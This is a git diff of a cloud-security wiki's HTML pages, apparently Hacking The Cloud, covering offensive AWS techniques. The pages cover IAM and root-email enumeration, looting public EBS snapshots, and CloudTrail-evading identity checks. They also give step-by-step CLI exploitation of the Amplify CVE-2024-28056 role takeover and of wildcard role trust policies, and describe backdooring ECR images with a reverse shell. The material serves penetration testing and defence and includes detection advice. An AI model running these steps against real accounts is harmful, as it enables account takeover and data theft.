\ No newline at end of file diff --git a/aws/enumeration/enum_iam_user_role/index.html b/aws/enumeration/enum_iam_user_role/index.html index 3651343a2..3002a0b64 100644 --- a/aws/enumeration/enum_iam_user_role/index.html +++ b/aws/enumeration/enum_iam_user_role/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette, Wes Ladd (@righteousgambit), and skdg

Unauthenticated Enumeration of IAM Users and Roles

You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette, Wes Ladd (@righteousgambit), and skdg

Unauthenticated Enumeration of IAM Users and Roles

You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

{
     "Version": "2012-10-17",
     "Statement": [
         {
@@ -22,6 +22,6 @@
     ]
 }
 

You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.

There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.

Warning

Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).

Note

While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.

Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
-
\ No newline at end of file diff --git a/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html b/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html index bf1afb669..1a0c4f3af 100644 --- a/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html +++ b/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Derive a Principal ARN from an AWS Unique Identifier

When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

First, we will create a role with the following trust policy:

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

Article by Nick Frichette

Derive a Principal ARN from an AWS Unique Identifier

When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

First, we will create a role with the following trust policy:

{
     "Version": "2008-10-17",
     "Statement": [
         {
@@ -33,6 +33,6 @@
         }
     ]
 }
-

This reveals the ARN of the role associated with the original unique identifier.

\ No newline at end of file diff --git a/aws/enumeration/enumerate_root_email_from_console/index.html b/aws/enumeration/enumerate_root_email_from_console/index.html index 2d6df21ed..1c962552c 100644 --- a/aws/enumeration/enumerate_root_email_from_console/index.html +++ b/aws/enumeration/enumerate_root_email_from_console/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by skdg

Enumerate Root User Email Address from the AWS Console

Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
-

Article by skdg

Enumerate Root User Email Address from the AWS Console

Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
+
\ No newline at end of file diff --git a/aws/enumeration/get-account-id-from-keys/index.html b/aws/enumeration/get-account-id-from-keys/index.html index 904a717ec..f4a0ddb1e 100644 --- a/aws/enumeration/get-account-id-from-keys/index.html +++ b/aws/enumeration/get-account-id-from-keys/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Get Account ID from AWS Access Keys

While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

sts:GetAccessKeyInfo

Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Get Account ID from AWS Access Keys

While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

sts:GetAccessKeyInfo

Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456
 {
     "Account": "123456789012"
 }
@@ -28,6 +28,6 @@
 
 
 print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
-
\ No newline at end of file diff --git a/aws/enumeration/loot_public_ebs_snapshots/index.html b/aws/enumeration/loot_public_ebs_snapshots/index.html index 7d3f5a160..03637b6c7 100644 --- a/aws/enumeration/loot_public_ebs_snapshots/index.html +++ b/aws/enumeration/loot_public_ebs_snapshots/index.html @@ -7,9 +7,9 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Loot Public EBS Snapshots

For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

Making them Public

EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

EBS Snapshot availability setting page

Finding Exposed Snapshots

A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

Showing the public snapshot list in the AWS console

To pull this list in an easily consumable format you can use the following CLI command:

aws ec2 describe-snapshots --restorable-by-user-ids all
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Loot Public EBS Snapshots

For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

Making them Public

EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

EBS Snapshot availability setting page

Finding Exposed Snapshots

A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

Showing the public snapshot list in the AWS console

To pull this list in an easily consumable format you can use the following CLI command:

aws ec2 describe-snapshots --restorable-by-user-ids all
 

As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.

Tip

This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.

To search for all public EBS snapshots associated with an AWS account, use the following command:

aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000
 

Identification

To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

./prowler -c ec2_ebs_public_snapshot
-

Detection

When someone makes an EBS snapshot publicly accessible, CloudTrail generates an ec2:ModifySnapshotAttribute event with createVolumePermission set to {"add": {"items": [{ "groups": "all" }]}}. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.

Additional Resources

For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, Finding Secrets In Publicly Exposed EBS Volumes by Ben Morris (slides available here).

\ No newline at end of file diff --git a/aws/enumeration/whoami/index.html b/aws/enumeration/whoami/index.html index d4c516647..bb0aca0c5 100644 --- a/aws/enumeration/whoami/index.html +++ b/aws/enumeration/whoami/index.html @@ -7,10 +7,10 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Whoami - Get Principal Name From Keys

After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Whoami - Get Principal Name From Keys

After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
 

sqs:ListQueues

sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the ListQueues action does not appear in the documentation for SQS's compatibility with CloudTrail.

user@host:~$ aws sqs list-queues
 
 An error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action
-
\ No newline at end of file diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html new file mode 100644 index 000000000..a7b10534e --- /dev/null +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html @@ -0,0 +1,57 @@ + CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario - Hacking The Cloud

Article by Nick Frichette

CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario

Background

In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.

In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:

  • Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
  • Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
  • Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.

This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the account with the basic (classic) authflow enabled.

Warning

To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.

Note

This is not realistically something that can be "fixed". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.

Unauthenticated Example

Unauthenticated Scenario

In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:

{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Principal": {
+                "Federated": "cognito-identity.amazonaws.com"
+            },
+            "Action": "sts:AssumeRoleWithWebIdentity"
+        }
+    ]
+}
+

Note

There is another variant of this misconfiguration where the trust policy includes a condition for cognito-identity.amazonaws.com:amr that is set to unauthenticated.

Steps to Exploit

In order to assume a role that has this vulnerable trust policy, follow these steps:

  1. Using the AWS CLI, perform the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id>
    • This can typically be found in the client side JavaScript of the web application using this identity pool.
  2. Using the IdentityId from step one, perform the following command: aws cognito-identity get-open-id-token --identity-id <identity id from step 1>
    • This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.
  3. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 2>

By following these steps you should successfully generate IAM credentials for the vulnerable role:

{
+    "Credentials": {
+        "AccessKeyId": "ASIA123ABC456DEF789G",
+        "SecretAccessKey": "123ABC456DEF789G123ABC456DEF789GHI012JKL",
+        "SessionToken": "...snip...",
+        "Expiration": "2024-07-31T20:02:33+00:00"
+    },
+    "SubjectFromWebIdentityToken": "us-east-1:00000000-1111-2222-3333-444444444444",
+    "AssumedRoleUser": {
+        "AssumedRoleId": "AROA123ABC456DEF789G:hijacked_role",
+        "Arn": "arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role"
+    },
+    "Provider": "cognito-identity.amazonaws.com",
+    "Audience": "us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc"
+}
+

Authenticated Example

In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:

{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Sid": "",
+            "Effect": "Allow",
+            "Principal": {
+                "Federated": "cognito-identity.amazonaws.com"
+            },
+            "Action": "sts:AssumeRoleWithWebIdentity",
+            "Condition": {
+                "ForAnyValue:StringLike": {
+                    "cognito-identity.amazonaws.com:amr": "authenticated"
+                }
+            }
+        }
+    ]
+}
+

Steps to Exploit

In order to assume a role that has this vulnerable trust policy, follow these steps:

  1. First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.
  2. Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using USER_PASSWORD_AUTH.
    • Run the following command: aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <client id of the victim user pool> --auth-parameters USERNAME=<username>,PASSWORD=<password>
    • This will return an IdToken that will be used in the next step.
    • Note: The AccessToken is NOT the same as the IdToken.
  3. Run the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id> --logins '{"cognito-idp.<region>.amazonaws.com/<victim user pool id>":"<IdToken from step 2>"}'
    • This will return an IdentityId that will be used in the next step.
  4. Run the following command: aws cognito-identity get-open-id-token --identity-id <IdToken from step 3> --logins '{"cognito-idp.us-east-1.amazonaws.com/<victim user pool id>":"<IdToken from step 2>"}'
    • Note: You MUST include the logins parameter, it is not optional.
    • This will return a JWT we will use in the next step.
  5. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 4>

By following these steps you should successfully generate IAM credentials for the vulnerable role.

\ No newline at end of file diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html index a9110da2b..7c2d76bb7 100644 --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html @@ -1,4 +1,4 @@ - Misconfigured Resource-Based Policies - Hacking The Cloud

Article by Nick Frichette

Misconfigured Resource-Based Policies

Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Misconfigured Resource-Based Policies

Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

{
     "Version": "2012-10-17",
     "Statement": [
         {
@@ -97,6 +97,6 @@
     }
   ]
 }
-
\ No newline at end of file diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html index d6d534725..a639f1c4f 100644 --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html @@ -1,4 +1,4 @@ - Abusing Misconfigured ECR Resource Policies - Hacking The Cloud

Article by Nick Frichette

Abusing Misconfigured ECR Resource Policies

AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

Note

Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

Understanding ecr:GetAuthorizationToken

A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

Note

When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

Downloading Containers

Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

As an example, take the following misconfigured resource policy for an ECR private repository.

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Abusing Misconfigured ECR Resource Policies

AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

Note

Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

Understanding ecr:GetAuthorizationToken

A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

Note

When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

Downloading Containers

Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

As an example, take the following misconfigured resource policy for an ECR private repository.

{
   "Version": "2012-10-17",
   "Statement": [
     {
@@ -72,6 +72,6 @@
 ├────────────┼───────────┼──────────┼────────────┼────────┼──────────┼───────┤
 │ aws        │ ecr       │ FAIL (1) │          1 │      0 │        0 │     0 │
 ╰────────────┴───────────┴──────────┴────────────┴────────┴──────────┴───────╯
-

Note

Condition elements may induce false positives.

\ No newline at end of file diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html index 01766cbbb..a894d9983 100644 --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Abusing Misconfigured Role Trust Policies with a Wildcard Principal

As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

Role Trust Policies

As stated in the AWS documentation, a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".

This policy typically looks like the following:

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Abusing Misconfigured Role Trust Policies with a Wildcard Principal

As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

Role Trust Policies

As stated in the AWS documentation, a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".

This policy typically looks like the following:

{
     "Version": "2012-10-17",
     "Statement": [
         {
@@ -51,6 +51,6 @@
 

In this example, the intention was to create a policy that Denied all Principals except the intent-allow-role. However, while creating this policy, the Effect was mistakenly changed to an Allow, which had the opposite effect, now anyone except intent-allow-role can assume the role.

These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!

How to Exploit

In order to exploit a role that has a wildcard set as a Principal, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.

aws sts assume-role \
 --role-arn arn:aws:iam::222222222222:role/victim-role \
 --role-session-name blahsessionname
-

Tip

There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.

\ No newline at end of file diff --git a/aws/exploitation/abusing-container-registry/index.html b/aws/exploitation/abusing-container-registry/index.html index f3b881bc2..4d30dd320 100644 --- a/aws/exploitation/abusing-container-registry/index.html +++ b/aws/exploitation/abusing-container-registry/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Roi Lavie

Abusing Elastic Container Registry for Lateral Movement

IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

Inbound SG

This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

Video Summary:

  • An attacker’s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
  • The attacker gains access to resources using access to ECR
  • The attacker pulls the latest docker image
  • The attacker adds a layer by injecting a malicious payload to the docker image
  • The attacker pushes the docker image to ECR with the latest tag
  • The victim pulls the latest docker image and starts the container
  • The malicious reverse shell is executed and communicates with the attacker
  • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

Security Recommendations:

  • Least privileges — external facing apps should not have write access or wildcard (*) permissions on ECR
  • Secure CI/CD pipelines — Protect from any unauthorized access to source code repos or build tools.
  • Enforce signing of docker images
  • (see: https://github.com/notaryproject/notary)
  • Use docker custom security profiles like AppArmor, Seccomp
  • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

Article by Roi Lavie

Abusing Elastic Container Registry for Lateral Movement

IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

Inbound SG

This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

